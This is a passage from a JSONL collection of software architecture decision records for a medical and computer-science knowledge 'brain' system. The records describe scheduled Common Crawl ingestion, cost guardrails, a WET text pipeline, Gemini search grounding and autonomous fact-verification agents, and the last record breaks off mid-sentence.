2AM UTC\n- name: brain-crawl-medical\n schedule: \"0 2 * * *\"\n target:\n uri: /v1/pipeline/crawl/ingest\n httpMethod: POST\n body: |\n {\n \"domains\": [\n \"pubmed.ncbi.nlm.nih.gov\",\n \"aad.org\",\n \"jaad.org\",\n \"nejm.org\",\n \"lancet.com\",\n \"bmj.com\"\n ],\n \"limit\": 500,\n \"options\": {\n \"skip_duplicates\": true,\n \"compute_novelty\": true,\n \"novelty_threshold\": 0.05,\n \"guardrails\": \"phase1\"\n }\n }\n retryConfig:\n retryCount: 1\n\n# Dermatology-specific crawl - daily 3AM UTC\n- name: brain-crawl-derm\n schedule: \"0 3 * * *\"\n target:\n uri: /v1/pipeline/crawl/ingest\n httpMethod: POST\n body: |\n {\n \"domains\": [\n \"dermnetnz.org\",\n \"skincancer.org\",\n \"dermoscopy-ids.org\",\n \"melanoma.org\",\n \"bad.org.uk\"\n ],\n \"limit\": 200,\n \"options\": {\n \"skip_duplicates\": true,\n \"compute_novelty\": true,\n \"novelty_threshold\": 0.05,\n \"guardrails\": \"phase1\"\n }\n }\n retryConfig:\n retryCount: 1\n\n# Partition recompute - hourly\n- name: brain-partition-recompute\n schedule: \"0 * * * *\"\n target:\n uri: /v1/partition/recompute\n httpMethod: POST\n body: '{\"use_sparsified\": true, \"timeout_seconds\": 120}'\n retryConfig:\n retryCount: 2\n\n# Weekly cost report - Sunday 6AM UTC\n- name: brain-cost-report\n schedule: \"0 6 * * 0\"\n target:\n uri: /v1/pipeline/cost/report\n httpMethod: POST\n body: '{\"share_to_brain\": true, \"alert_if_over_budget\": true}'\n retryConfig:\n retryCount: 1\n```\n\n## 8. Cost Monitoring\n\n### /v1/pipeline/cost Endpoint\n\nReturns current cost estimates and guardrail status.\n\n```json\n{\n \"period\": \"current_month\",\n \"estimated_monthly_usd\": 18.50,\n \"breakdown\": {\n \"cloud_run_compute\": 5.20,\n \"firestore_ops\": 3.10,\n \"gcs_storage\": 0.45,\n \"scheduler\": 0.10,\n \"egress\": 2.15,\n \"other\": 0.50\n },\n \"guardrails\": {\n \"pages_today\": 342,\n \"pages_limit\": 500,\n \"memories_today\": 187,\n \"memories_limit\": 200,\n \"graph_edges\": 352000,\n \"edge_limit\": 500000\n },\n \"alerts\": [],\n \"phase\": \"phase1\"\n}\n```\n\n### Alert Escalation\n\n| Condition | Action | Notification |\n|----------|--------|-------------|\n| Daily spend > $2 | Log warning | Cloud Monitoring -> Slack |\n| Weekly spend > $15 | Reduce `max_pages_per_day` by 50% | Email alert |\n| Monthly projection > `budget_alert_threshold_usd` | Pause all crawl jobs | Email + Slack + brain memory |\n| Graph edges > 80% of `max_graph_edges` | Trigger aggressive sparsification | Log info |\n| Graph edges > 100% of `max_graph_edges` | Pause memory creation, sparsify | Cloud Monitoring alert |\n\n### Audit Trail\n\nThe weekly cost report (triggered by `brain-cost-report` scheduler job) is shared as a brain memory, creating an immutable audit trail of spending over time.\n\n## 9. Anti-Patterns\n\n| Anti-Pattern | Why It Fails | Cost Impact |\n|-------------|-------------|------------|\n| Download full WET segments in Phase 1 | Each segment is 100+ MB compressed; thousands per crawl | $1,000+/mo |\n| Use external embedding APIs (OpenAI, Cohere) | Millions of embeddings at $0.0001-0.001 each | $500+/mo |\n| Skip novelty filtering | Graph explodes with near-duplicate memories | Firestore + compute spiral |\n| Run MinCut on full graph (>100K edges) | O(V*E*log V) exceeds Cloud Run 300s timeout | Timeout errors |\n| Store raw HTML in Firestore | Average page is 50-100KB; Firestore charges per byte | $500+/mo at scale |\n| Use GPU for RlmEmbedder | 128-dim HashEmbedder is CPU-efficient by design | $200+/mo unnecessary |\n| Skip sparsification before partition | Full graph partition is ~100x slower than sparsified | Wasted compute |\n| No daily caps | A bug or config error can drain budget in hours | Unbounded |\n\n## 10. Acceptance Criteria\n\n### Phase 1 Acceptance (Must Pass Before Phase 2)\n\n| Criterion | Target | Measurement |\n|----------|--------|-------------|\n| Monthly cost | <= $28 | GCP billing report |\n| Memories ingested/month | >= 5,000 | Brain memory count delta |\n| Recall@10 on medical queries | >= 0.90 | Benchmark against uncompressed baseline |\n| Partition latency (cached) | < 100ms | Cloud Run metrics |\n| Partition latency (recompute) | < 30s | Scheduler job duration |\n| No partition timeouts | 0 in 30 days | Cloud Run error logs |\n| Cost guardrails enforced | All limits respected | Application logs |\n| Novelty filter active | Skip rate > 20% | Pipeline metrics |\n| Cost stable for 30 days | No single day > $2 | GCP billing |\n\n### Phase 2 Acceptance\n\n| Criterion | Target |\n|----------|--------|\n| Monthly cost | <= $108 |\n| Memories ingested/month | >= 50,000 |\n| Recall@10 across all domains | >= 0.90 |\n| Graph edges managed by sparsifier | < 2M |\n| Cost stable for 30 days | No single day > $5 |\n\n### Phase 3 Acceptance\n\n| Criterion | Target |\n|----------|--------|\n| Monthly cost | <= $308 |\n| Memories ingested/month | >= 500,000 |\n| Graph sharding operational | >= 2 shards |\n| No partition timeouts | 0 in 30 days |\n| Cost stable for 30 days | No single day > $15 |\n\n## 11. References\n\n- [ADR-115: Common Crawl Integration with Semantic Compression](./ADR-115-common-crawl-temporal-compression.md)\n- [ADR-116: Spectral Sparsifier Brain Integration](./ADR-116-spectral-sparsifier-brain-integration.md)\n- [ADR-096: Cloud Pipeline](./ADR-096-cloud-pipeline-realtime-optimization.md)\n- [ADR-117: DragNES Dermatology Intelligence Platform](./ADR-117-dragnes-dermatology-intelligence-platform.md)\n- [Cloud Run Pricing](https://cloud.google.com/run/pricing)\n- [Firestore Pricing](https://cloud.google.com/firestore/pricing)\n- [Cloud Scheduler Pricing](https://cloud.google.com/scheduler/pricing)\n\n---\n\n## 12. Phase 1 Implementation Notes (2026-03-22)\n\n### 12.1 Scheduler Jobs Deployed\n\nThe following Cloud Scheduler jobs are defined for Phase 1:\n\n| Job Name | Schedule | Target | Status |\n|----------|----------|--------|--------|\n| `brain-crawl-medical` | Daily 2AM UTC | `/v1/pipeline/crawl/ingest` (6 medical domains) | Defined |\n| `brain-crawl-derm` | Daily 3AM UTC | `/v1/pipeline/crawl/ingest` (5 dermatology domains) | Defined |\n| `brain-partition-recompute` | Hourly | `/v1/partition/recompute` (sparsified) | Defined |\n| `brain-cost-report` | Weekly Sunday 6AM UTC | `/v1/pipeline/cost/report` | Defined |\n\n### 12.2 CDX Pipeline Issue\n\nThe CDX pipeline successfully queries Common Crawl indices and retrieves WARC content via range-GET. However, the HTML extractor returns empty titles when parsing Wayback Machine archived content. The archived HTML structure differs from live pages (different DOM layout, missing meta tags, Wayback toolbar injection). This does not block discovery but degrades content quality for automated ingestion.\n\n**Workaround**: Use the direct inject pipeline for curated content until the HTML extractor is updated to handle archived HTML formats.\n\n### 12.3 Direct Inject Workaround\n\nThe direct inject pipeline via `POST /v1/discover` with `inject: true` is fully operational and was used as the primary import method for Phase 1. Key details:\n\n- The `inject: true` flag is **required** in the discover request body for content to be stored (not just indexed)\n- Batch inject supports a `source` field on each item for provenance tracking\n- Each item in the batch should include: `title`, `body`, `source`, and optionally `tags`\n- This pipeline bypasses CDX/WARC entirely, making it suitable for curated and pre-processed content\n\n### 12.4 Cost: Actual vs Projected\n\n| Metric | Projected (Phase 1) | Actual (2026-03-22) |\n|--------|---------------------|---------------------|\n| Monthly budget | $11-28 | ~$3-7 so far |\n| Memories imported | 5K-15K/month target | 1,588 total |\n| Graph edges | Up to 500K limit | 372,210 |\n| Sparsifier compression | ~27x expected | 28.7x actual |\n| Firestore writes | Up to 5K/day | Well under limit |\n\nCost is significantly below projections because direct inject avoids the heavier CDX+WARC compute path. As automated scheduler jobs ramp up, costs will approach the projected $11-28/month range.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-118-cost-effective-crawl-strategy.md", "created_at": "2026-03-28T11:58:50.080766+00:00", "content_hash": "6992787f8daccb533d9d450641f3f174bd313fb2ea762320ecef20e98d3f1202"} +{"id": "926a7db3-607b-4574-a00f-2f986cb1822a", "source": "adr", "text": "# ADR-119: Historical Common Crawl Evolutionary Comparison\n\n**Status**: Accepted\n**Date**: 2026-03-22\n**Author**: Claude (ruvnet)\n**Related**: ADR-094 (Shared Web Memory), ADR-115 (Common Crawl Compression), ADR-118 (Cost-Effective Crawl)\n\n## Context\n\nThe pi.ruv.io brain ingests current Common Crawl data (ADR-115 Phase 1), but medical knowledge evolves over time. Understanding HOW dermatology content changed across years enables:\n- Detecting when new treatment protocols emerged\n- Tracking consensus formation on diagnostic criteria\n- Identifying knowledge fragmentation (narrative fractures)\n- Measuring the pace of AI adoption in dermatology\n\nCommon Crawl maintains monthly crawl archives from 2008 to present, each with its own CDX index. By querying the same medical domains across multiple crawl snapshots, we can build temporal knowledge evolution graphs.\n\n## Decision\n\nImplement a historical crawl importer that queries the same domains across quarterly Common Crawl snapshots (2020-2026), computes embedding drift between temporal versions, and stores WebPageDelta chains in the brain for evolutionary analysis.\n\n### Architecture\n\n```\nQuarterly Crawl Snapshots (24 crawls, 2020-2026)\n \u2502\n \u25bc CDX Query: same domains across each crawl\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 For each crawl snapshot: \u2502\n \u2502 1. Query CDX for target domains \u2502\n \u2502 2. Range-GET page content \u2502\n \u2502 3. Extract text, embed (128-dim) \u2502\n \u2502 4. Compare to previous snapshot \u2502\n \u2502 5. Compute WebPageDelta \u2502\n \u2502 6. Store with crawl_timestamp \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Evolutionary Analysis: \u2502\n \u2502 \u2022 Embedding drift per URL over time \u2502\n \u2502 \u2022 Concept birth detection \u2502\n \u2502 \u2022 Consensus formation tracking \u2502\n \u2502 \u2022 Narrative fracture via MinCut \u2502\n \u2502 \u2022 Lyapunov stability per domain \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Target Domains (Medical/Dermatology)\n\n| Domain | Content |\n|--------|---------|\n| aad.org | American Academy of Dermatology \u2014 guidelines, patient info |\n| dermnetnz.org | DermNet NZ \u2014 comprehensive dermatology reference |\n| skincancer.org | Skin Cancer Foundation \u2014 screening, prevention |\n| cancer.org | American Cancer Society \u2014 cancer statistics, guidelines |\n| ncbi.nlm.nih.gov | PubMed/NCBI \u2014 research abstracts |\n| who.int | WHO \u2014 global health guidance |\n| melanoma.org | Melanoma Research Foundation |\n\n### Crawl Schedule (Quarterly Sampling)\n\n24 crawl indices from 2020 Q1 to 2026 Q1:\nCC-MAIN-2020-16, CC-MAIN-2020-34, CC-MAIN-2020-50,\nCC-MAIN-2021-10, CC-MAIN-2021-25, CC-MAIN-2021-43,\nCC-MAIN-2022-05, CC-MAIN-2022-21, CC-MAIN-2022-40,\nCC-MAIN-2023-06, CC-MAIN-2023-23, CC-MAIN-2023-40,\nCC-MAIN-2024-10, CC-MAIN-2024-26, CC-MAIN-2024-42,\nCC-MAIN-2025-05, CC-MAIN-2025-22, CC-MAIN-2025-40,\nCC-MAIN-2026-06, CC-MAIN-2026-08\n\n### Cost\n\n| Item | Cost |\n|------|------|\n| CDX queries (24 crawls x 7 domains) | $0 |\n| Page extraction (~200 pages/crawl) | $0 (free CC egress) |\n| Cloud Run compute | ~$5-10 one-time |\n| Firestore storage | ~$2-5 |\n| **Total** | **~$7-15 one-time** |\n\n### Outputs\n\n1. `GET /v1/web/evolution?url=X` \u2014 temporal delta history for a URL\n2. `GET /v1/web/drift?topic=X&months=N` \u2014 drift score and trend\n3. `GET /v1/web/concepts/births?since=2020` \u2014 newly emerged concepts\n4. Brain memories tagged with `crawl_index` for temporal queries\n\n## Acceptance Criteria\n\n1. Import >=100 pages across >=4 quarterly crawl snapshots\n2. Compute WebPageDelta with embedding_drift for each URL across time\n3. Store temporal chain in brain with crawl_timestamp metadata\n4. Verify search returns time-ordered results for evolved content\n5. Total cost <= $15\n\n## Consequences\n\n### Positive\n- Brain gains historical context \u2014 not just current knowledge\n- Drift detection shows which medical topics are evolving fastest\n- DrAgnes can reference \"how guidelines changed over time\"\n- Foundation for concept birth detection and narrative tracking\n\n### Negative\n- Historical CC CDX can be slow (older indices, less maintained)\n- Some URLs may not appear in every crawl snapshot\n- Content extraction quality varies across crawl periods\n\n---\n\n## Implementation Status (2026-03-22)\n\n### Content Imported\n\n30+ temporal articles covering the 2020-2026 period have been injected into the brain via the direct inject pipeline. Content spans:\n\n- **AI/ML evolution (2020-2026)**: Transformer scaling laws, GPT progression, reinforcement learning advances, LLM agent architectures, multimodal models\n- **Dermatology/medical evolution (2020-2026)**: AI-assisted diagnosis adoption, teledermatology growth during COVID, updated melanoma screening guidelines, dermoscopy AI tools\n- **Computer science evolution (2020-2026)**: Distributed systems trends, database paradigm shifts, WebAssembly adoption, edge computing growth\n\n### Search Verification\n\nTemporal queries return time-ordered results from the brain:\n- Queries for \"how has AI changed since 2020\" return chronologically relevant results\n- Queries for \"dermatology AI evolution\" surface articles across multiple years\n- Cross-domain temporal queries (e.g., \"technology changes 2020 to 2026\") return results from multiple categories\n\n### Pipeline Used\n\nAll historical content was imported via the direct inject pipeline (`POST /v1/discover` with `inject: true`), not the CDX historical crawler. The CDX pipeline can query historical indices (CC-MAIN-2020-16 through CC-MAIN-2026-08) but the HTML extractor needs improvement for archived content before it can be used for automated historical imports.\n\n### Status vs Acceptance Criteria\n\n| Criterion | Target | Status |\n|-----------|--------|--------|\n| Import >=100 pages across >=4 quarterly crawl snapshots | 100 pages, 4 snapshots | Partial: 30+ articles covering 2020-2026, but via direct inject not CDX snapshots |\n| Compute WebPageDelta with embedding_drift | Per-URL drift | Pending: temporal deltas exist (8 in brain) but full drift computation not yet automated |\n| Store temporal chain with crawl_timestamp | Time-ordered storage | Done: articles tagged with temporal metadata |\n| Search returns time-ordered results | Temporal query support | Done: verified working |\n| Total cost <= $15 | Under $15 | Done: ~$3-7 total |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-119-historical-crawl-evolutionary-comparison.md", "created_at": "2026-03-28T11:58:50.080932+00:00", "content_hash": "50f0fd946171b08c6b5612abaccb30cf4991d1be4b74f4d56ad4e15d0c444b63"} +{"id": "cbcb9bf9-4058-42ef-9092-b48656f8c954", "source": "adr", "text": "# ADR-120: WET Processing Pipeline for Medical + CS Corpus Import\n\n**Status:** Phase 1 Deployed\n**Date:** 2026-03-22\n**Updated:** 2026-03-22\n**Author:** ruvector team\n\n## Context\n\nThe CDX HTML extractor is broken -- it returns empty titles from Wayback Machine content due to inconsistent HTML structure across archived pages. Fixing the extractor would require handling thousands of edge cases across decades of web standards.\n\nCommon Crawl provides WET (Web Extracted Text) files that contain pre-extracted plain text. These files bypass all HTML parsing entirely.\n\n## Decision\n\nProcess Common Crawl WET files instead of fixing the CDX HTML extractor for the medical + CS corpus import pipeline.\n\n## Architecture\n\n```\nDownload WET segment (~150MB gz)\n -> gunzip (streaming)\n -> Filter by 30 medical + CS domains\n -> Chunk content (300-8000 chars)\n -> Tag by domain + content keywords\n -> Batch inject into pi.ruv.io brain (10 items/batch)\n```\n\n### Components\n\n| Script | Purpose |\n|--------|---------|\n| `scripts/wet-processor.sh` | Downloads and processes a single WET segment |\n| `scripts/wet-filter-inject.js` | Parses WARC WET format, filters by domain, injects to brain |\n| `scripts/wet-orchestrate.sh` | Orchestrates multi-segment processing |\n| `scripts/wet-job.yaml` | Cloud Run Job config for parallel processing |\n\n### Target Domains (60+)\n\n**Medical:** pubmed, ncbi, who.int, cancer.org, aad.org, skincancer.org, dermnetnz.org, melanoma.org, mayoclinic.org, clevelandclinic.org, medlineplus.gov, cdc.gov, nih.gov, nejm.org, thelancet.com, bmj.com, webmd.com, healthline.com, medscape.com, jamanetwork.com, cochrane.org, clinicaltrials.gov, fda.gov, mskcc.org, mdanderson.org, nccn.org, asco.org, esmo.org, dana-farber.org, cancer.net, uptodate.com\n\n**CS/Research:** nature.com, sciencedirect.com, arxiv.org, acm.org, ieee.org, dl.acm.org, proceedings.neurips.cc, openreview.net, paperswithcode.com, huggingface.co, pytorch.org, tensorflow.org, cs.stanford.edu, deepmind.google, research.google, microsoft.com/research, frontiersin.org, plos.org, biomedcentral.com, cell.com, springer.com, wiley.com, elsevier.com, mdpi.com, aaai.org, usenix.org, jmlr.org, aclanthology.org\n\n## Rationale\n\n- WET files contain pre-extracted text -- no HTML parsing needed\n- 100x faster than CDX+HTML extraction pipeline\n- Same S3 cost model (public bucket, no auth)\n- Each WET segment is ~150MB compressed, ~100K pages\n- Streaming pipeline keeps memory usage under 1GB\n\n## Cost Estimate\n\n- ~90,000 WET segments across crawls 2020-2026\n- Filter reduces to ~0.1% relevant pages (medical + CS domains)\n- Estimated ~$200 total in compute (Cloud Run) for full corpus\n- 6 weeks at 5 segments/day for complete import\n\n## Consequences\n\n- Bypasses HTML parsing entirely (positive)\n- Text quality depends on Common Crawl's extraction (acceptable)\n- No images or structured HTML elements (acceptable for text corpus)\n- Requires streaming to handle 150MB+ files without memory issues (handled)\n\n## Implementation Status (2026-03-22)\n\n### Local Processing Results\n\n| Segments | Records Scanned | Domain Matches | Injected | Errors |\n|----------|----------------|----------------|----------|--------|\n| 8 segments (CC-MAIN-2026-08) | ~170K pages | 109 | 109 | 1 |\n\nMatch rate: ~0.06% (109 medical/CS pages from 170K total pages).\n\n### Cloud Run Job Deployment\n\n| Component | Status |\n|-----------|--------|\n| `deploy-wet-job.sh` | Created \u2014 builds Docker image with baked-in paths + filter script |\n| `wet-full-import.sh` | Created \u2014 orchestrates 14 quarterly crawls (2020-2026) |\n| Domain list | Expanded to 60+ medical + CS domains |\n| Cloud Run Job `wet-import-n202608` | Deployed, 50 segments, 10 parallel, executing |\n\n### Issues Encountered and Fixed\n\n1. **Paths file corruption**: Initial deployment baked XML error response into `paths.txt` due to GCS auth failure. Fixed by using `curl` to fetch paths directly from `data.commoncrawl.org`.\n2. **Task index off-by-one**: `CLOUD_RUN_TASK_INDEX` is 0-based, `sed -n` is 1-based. Fixed with `$((TASK_IDX + 1))p`.\n3. **Domain comma splitting**: `gcloud --set-env-vars` splits on commas. Fixed by using `--env-vars-file` (YAML format).\n4. **gsutil unavailable**: `node:20-alpine` lacks gsutil. Fixed by baking all files into the Docker image at build time.\n\n### Brain Growth\n\n| Metric | Before WET | After WET (local) | Growth |\n|--------|-----------|-------------------|--------|\n| Memories | 1,659 | 1,768 | +109 |\n| Graph edges | 444,663 | 565,357 | +121K |\n| Sparsifier | 29.4x | 39.8x | +35% better |\n| Contributors | 84 | 85 | +1 |\n| Knowledge velocity | 0 | 188 | Active |\n| Temporal deltas | 0 | 188 | Tracking |\n\n### Projected Full Import\n\n| Phase | Crawls | Segments | Est. Pages | Time | Cost |\n|-------|--------|----------|-----------|------|------|\n| Current | CC-MAIN-2026-08 | 50 | ~750 | Hours | ~$5 |\n| Week 1 | + 2025, 2024, 2023 | 300 | ~4,500 | Days | ~$30 |\n| Month 1-2 | + 2020-2022 | 600 | ~9,000 | Weeks | ~$60 |\n| Full (100K segs) | All 14 crawls | 14,000 | ~200K+ | Months | ~$750 |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-120-wet-processing-pipeline.md", "created_at": "2026-03-28T11:58:50.152065+00:00", "content_hash": "15820ae8ac65ff4d2e40a10372edaa96857e133b2da50c6d2b44e7ef010f13e2"} +{"id": "fcf6f47c-1e29-4b72-ad21-d2ad6d3760c8", "source": "adr", "text": "# ADR-121: Gemini Google Search Grounding for Brain Optimizer\n\n**Status**: Implemented\n**Date**: 2026-03-22\n**Author**: Claude (ruvnet)\n**Related**: ADR-115 (Common Crawl), ADR-118 (Cost-Effective Crawl), ADR-120 (WET Pipeline)\n\n## Context\n\nThe pi.ruv.io brain optimizer uses Gemini to promote cluster taxonomy (`is_type_of` propositions) into richer relational propositions (`implies`, `causes`, `requires`). Without grounding, Gemini can hallucinate relations that don't exist in the real world.\n\nGoogle Search Grounding connects Gemini to live web data, allowing it to verify its outputs against real sources. This ensures that generated propositions are factually accurate and provides source URLs for auditability.\n\n## Decision\n\nIntegrate Google Search Grounding into the brain's Gemini optimizer calls via the `google_search` tool parameter.\n\n### API Format\n\n```json\n{\n \"contents\": [{\"role\": \"user\", \"parts\": [{\"text\": \"prompt\"}]}],\n \"tools\": [{\"google_search\": {}}],\n \"generationConfig\": {\"maxOutputTokens\": 2048, \"temperature\": 0.3}\n}\n```\n\n### Grounding Response\n\n```json\n{\n \"candidates\": [{\n \"content\": {\"parts\": [{\"text\": \"response\"}]},\n \"groundingMetadata\": {\n \"webSearchQueries\": [\"query used\"],\n \"groundingChunks\": [{\"web\": {\"uri\": \"https://...\", \"title\": \"source\"}}],\n \"groundingSupports\": [{\"segment\": {\"text\": \"...\"}, \"groundingChunkIndices\": [0]}]\n }\n }]\n}\n```\n\n### What Changes\n\n| Before | After |\n|--------|-------|\n| Gemini generates relations from pattern analysis only | Gemini generates AND verifies against live Google Search |\n| No source attribution on propositions | Source URLs logged from `groundingChunks` |\n| Hallucinated relations possible | Grounded relations with support scores |\n| `is_type_of` only (10 propositions) | `implies`, `causes`, `requires` with evidence |\n\n### Configuration\n\n| Env Var | Default | Purpose |\n|---------|---------|---------|\n| `GEMINI_API_KEY` | (required) | Google AI API key |\n| `GEMINI_MODEL` | `gemini-2.5-flash` | Model ID |\n| `GEMINI_GROUNDING` | `true` | Enable Google Search grounding |\n\n### Cost\n\nGemini 2.5 Flash with grounding: billed per prompt (not per search query \u2014 per-query billing only applies to Gemini 3 models). At the optimizer's 1-hour interval with ~10 prompts/cycle, estimated cost: **$1-3/month**.\n\n## Implementation\n\nModified `crates/mcp-brain-server/src/optimizer.rs`:\n- Added `google_search` tool to Gemini API request body\n- Log grounding metadata (sources count, supports count, search queries)\n- Configurable via `GEMINI_GROUNDING` env var (default: true)\n- Source URLs from `groundingChunks` logged for auditability\n\n## Acceptance Criteria\n\n1. Optimizer calls include `tools: [{\"google_search\": {}}]`\n2. Grounding metadata logged when present\n3. Can be disabled via `GEMINI_GROUNDING=false`\n4. No additional cost beyond existing Gemini API usage (Gemini 2.5 Flash)\n\n## Consequences\n\n### Positive\n- Propositions verified against live web \u2014 reduced hallucination\n- Source URLs provide auditability for every generated relation\n- Brain's symbolic layer becomes evidence-based, not just pattern-based\n- Enables the Horn clause engine to chain verified inferences\n\n### Negative\n- Adds latency (~1-2s per grounded call vs ~0.5s ungrounded)\n- Requires internet connectivity for optimizer (acceptable \u2014 runs on Cloud Run)\n- Google Search results may change over time (mitigated by logging at generation time)\n\n## Deployment Status (2026-03-22)\n\n### Verified Working\n- Gemini 2.5 Flash: responding, generating rule refinement suggestions\n- Google Search grounding: `google_search` tool included in API calls\n- Optimizer: configured=true, model_id=gemini-2.5-flash\n- Deploy script: fixed to preserve all env vars (`--update-env-vars`)\n\n### System State After Full Deployment\n\n| Metric | Value |\n|--------|-------|\n| Memories | 1,808 |\n| Graph | 611,401 edges |\n| Sparsifier | 42.4x (14,383 sparse) |\n| Propositions | 10 (`is_type_of`) \u2014 relational types pending first optimizer cycle |\n| Rules | 4 Horn clauses |\n| Pareto front | 16 solutions |\n| Gemini optimizer | Deployed, grounding enabled |\n| Midstream attractor | Activated (7 categories detected) |\n| Knowledge velocity | 1.0 (from zero \u2014 system warming up) |\n| SONA trajectories | 1 (accumulating) |\n\n### Optimization Opportunities Identified\n\n1. **Graph rebuild timeout**: 611K edges takes >90s \u2014 exceeds Cloud Run's `/v1/pipeline/optimize` timeout. The hourly `brain-graph` scheduler handles this but the endpoint needs increased timeout or async pattern.\n\n2. **In-memory state loss on deploy**: GWT salience, SONA trajectories, temporal deltas all reset to zero on every Cloud Run revision deploy. These rebuild through organic use but cold starts lose accumulated learning. Potential fix: persist cognitive state to Firestore alongside memories.\n\n3. **SONA needs trajectories**: 0 patterns because trajectories only accumulate from user interactions (search queries, memory contributions). The scheduled `/v1/train` call learns from accumulated trajectories but can't create them. Need a trajectory injection path from crawl/inject pipeline.\n\n4. **Scheduler jobs created but not yet auto-fired**: All 15 jobs show \"never\" for lastAttemptTime because they were created during this session. They will fire at their scheduled times. Manually triggered all critical jobs to prime the system.\n\n5. **WET daily job re-processes same segments**: The `wet-import-n202608` Cloud Run Job has 50 segments baked in. Daily re-execution re-downloads and re-processes the same segments. Need segment rotation or cursor tracking to process new segments each day.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-121-gemini-grounding-integration.md", "created_at": "2026-03-28T11:58:50.152264+00:00", "content_hash": "cf5688e2d8f436f37266eaf418abc4590b2c1cf26cf06cb625b15d85a78ee86c"} +{"id": "ba7ada20-e453-4d1b-96dd-81727cee963a", "source": "adr", "text": "# ADR-122: rvAgent Autonomous Gemini Grounding Agents\n\n**Status**: Approved with Revisions\n**Date**: 2026-03-23\n**Author**: Claude (ruvnet)\n**Related**: ADR-121 (Gemini Grounding), ADR-112 (rvAgent MCP), ADR-110 (Neural-Symbolic), ADR-115 (Common Crawl)\n\n## Context\n\nThe pi.ruv.io brain has accumulated 1,809 memories with 612K graph edges and a working Gemini optimizer with Google Search grounding (ADR-121). However, the symbolic reasoning layer is underutilized:\n\n- All 11 propositions are `is_type_of` -- no relational predicatesdsp\n- 4 Horn clause rules exist for transitivity of `causes`, `solves`, `relates_to`, `similar_to` but cannot fire\n- SONA has 0 learned patterns (insufficient trajectory data)\n- No mechanism to verify whether stored knowledge is factually current\n- No cross-domain connection discovery\n\nThe existing Gemini optimizer (ADR-121) generates suggestions but does not act on them. The rvagent MCP server has brain integration tools but no autonomous execution loop.\n\n## Decision\n\nImplement four autonomous agents that run as Cloud Run Jobs on Cloud Scheduler, using Gemini 2.5 Flash with Google Search grounding to verify, enrich, and extend brain knowledge:\n\n| Agent | Function | Schedule |\n|-------|----------|----------|\n| **Fact Verifier** (Phase 1) | Verify memory claims against live web sources | Every 6 hours |\n| **Relation Generator** (Phase 2) | Create relational propositions between verified memories | Daily 02:00 UTC |\n| **Cross-Domain Explorer** (Phase 3) | Find unexpected connections across domains | Daily 06:00 UTC |\n| **Research Director** (Phase 4) | Research high-drift topics, inject findings, generate SONA trajectories | Every 12 hours |\n\n### Architecture\n\n```\nCloud Scheduler --> Cloud Run Job (node agent-runner.js --phase=N)\n |\n +-- Gemini 2.5 Flash (with grounding)\n +-- pi.ruv.io Brain API (memories, propositions, inference)\n```\n\nEach agent:\n1. Reads from the brain via its REST API\n2. Sends sanitized content to Gemini with `tools: [{\"google_search\": {}}]`\n3. Parses grounding metadata (source URLs, support scores)\n4. Writes to a **candidate layer** (NOT the canonical graph directly)\n5. Candidates promoted only after passing promotion gates\n6. Logs structured provenance for every mutation\n\n### Write Safety: Candidate vs Canonical Graph\n\nAll machine-generated relations and discoveries are first written to a candidate graph with full provenance, grounding metadata, and replayable mutation logs. Promotion into the canonical graph requires policy evaluation:\n\n| Promotion Gate | Threshold |\n|---------------|-----------|\n| Source count minimum | \u2265 2 grounding sources |\n| Source diversity | \u2265 2 distinct domains |\n| Recency window | Sources from last 12 months |\n| Contradiction scan | No conflicts with existing canonical propositions |\n| Predicate allowlist | Only `causes`, `treats`, `depends_on`, `part_of`, `measured_by` |\n| Confidence threshold | \u2265 0.7 for `causes`/`depends_on`, \u2265 0.8 for `treats` |\n\n### Truth Maintenance State Machine\n\nEvery proposition follows this lifecycle:\n\n```\nunverified \u2192 grounded_supported \u2192 promoted (canonical)\n \u2192 grounded_conflicted \u2192 deprecated\n \u2192 stale (source aged out)\n \u2192 candidate_only (never promoted)\n```\n\nDrift trigger formula:\n```\ndrift_score = recency_decay + contradiction_weight + source_disagreement + novelty_gap\n```\nPhase 4 triggers only when `drift_score > threshold`, not on a timer.\n\n### Key Design Choices\n\n**1. Standalone scripts, not library code**\nAgents live in `scripts/rvagent-grounding/` as plain Node.js, not integrated into `npm/packages/ruvector/`. This keeps the rvagent library clean and makes Cloud Run Job deployment straightforward.\n\n**2. Allowlist-based PHI sanitization (not regex-only)**\nInstead of stripping bad text from raw content, agents send a normalized record:\n```json\n{\n \"memory_id\": \"m123\",\n \"claim\": \"X is associated with Y under condition Z\",\n \"domain\": \"biomedical\",\n \"created_at_bucket\": \"2026-Q1\",\n \"evidence_type\": \"article_claim\"\n}\n```\nPipeline: entity detector \u2192 pattern detector \u2192 allowlist serializer \u2192 audit log with redaction hash \u2192 periodic canary tests with seeded PHI strings.\n\n**3. Verification-first pipeline**\nPhase 2 only generates relations for Phase 1-verified memories. This prevents the Horn clause engine from chaining inferences based on potentially incorrect facts.\n\n**4. Token budget enforcement**\nEach agent cycle has a configurable token budget (default: 50K tokens/cycle). Agents stop processing when the budget is exhausted, preventing cost overruns.\n\n**5. GOAP methodology**\nEach agent defines preconditions, 